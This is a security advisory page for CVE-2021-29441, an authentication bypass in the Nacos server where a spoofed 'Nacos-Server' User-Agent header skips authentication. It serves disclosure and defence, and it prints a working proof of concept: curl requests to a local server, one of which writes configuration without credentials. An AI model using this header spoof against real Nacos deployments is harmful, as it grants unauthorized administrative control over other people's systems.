Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTM2aHAtanI4aC01NTZm

Authentication Bypass

When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.

The following request to the configuration endpoint gets rejected as we are not providing any credentials:

❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}                                                                                                       

However the following one gets accepted by using the Nacos-Server user-agent header:

❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true 

Impact

This issue may allow any user to carry out any administrative tasks on the Nacos server.

Permalink: https://github.com/advisories/GHSA-36hp-jr8h-556f
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTM2aHAtanI4aC01NTZm
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 2 years ago
Updated: 10 months ago

Identifiers: GHSA-36hp-jr8h-556f, CVE-2021-29441
References:

• https://nvd.nist.gov/vuln/detail/CVE-2021-29441
• https://github.com/alibaba/nacos/issues/4701
• https://github.com/alibaba/nacos/pull/4703
• https://github.com/advisories/GHSA-36hp-jr8h-556f

Affected Packages